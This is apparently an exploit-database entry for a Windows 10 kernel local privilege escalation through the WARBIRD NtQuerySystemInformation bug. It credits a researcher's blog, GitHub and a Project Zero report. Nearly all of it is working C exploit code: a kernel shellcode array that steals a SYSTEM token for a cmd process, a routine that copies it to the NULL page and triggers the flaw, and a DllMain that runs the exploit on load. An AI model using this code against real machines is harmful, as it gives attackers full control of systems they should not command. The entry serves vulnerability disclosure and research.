Microsoft Windows 10 - 'WARBIRD' 'NtQuerySystemInformation ' Kernel Local Privilege Escalation

/*
  EDB Note
  Source ~ https://gist.github.com/xpn/736daa4d1ff7b9869f4b3d1e9a34d315/ff2e2465d4a07588d0148dc87e77b17b41ef9d1d
  Source ~ https://blog.xpnsec.com/windows-warbird-privesc/
  Source ~ https://github.com/xpn/warbird_exploit
  Ref ~ https://bugs.chromium.org/p/project-zero/issues/detail?id=1391
*/
 
    // Shellcode to be executed by exploit
    const char shellcode[256] = {
    0xc7, 0x43, 0x04, 0x00, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x0c,
    0x00, 0x00, 0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f,
    0x5e, 0x5b, 0x89, 0xec, 0x5d, 0x81, 0xc4, 0x0c, 0x00, 0x00,
    0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5e, 0x5b, 0x5f,
    0x89, 0xec, 0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81,
    0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f, 0x5e, 0x5b, 0x89, 0xec,
    0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x04,
    0x00, 0x00, 0x00, 0x5f, 0x5f, 0x5e, 0x5b, 0x89, 0xec, 0x5d,
    0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0xc7, 0x80, 0x3e,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xe8,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xec,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf0,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf4,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf8,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xfc,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x50,
    0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
    0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
    0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
    0x81, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
    0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8,
    0x00, 0x00, 0x00, 0xeb, 0xe7, 0x8b, 0x88, 0xfc, 0x00, 0x00,
    0x00, 0x89, 0x8b, 0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff
    };
 
void exploit(void) {
    BYTE Buffer[8];
    DWORD BytesReturned;
    
    RtlZeroMemory(Buffer, sizeof(Buffer));
    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
    
    // Copy our shellcode to the NULL page
    RtlCopyMemory(NULL, shellcode, 256);
    
    RtlZeroMemory(Buffer, sizeof(Buffer));
    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
}
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                 )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        exploit();
        break;
    }
    return TRUE;
}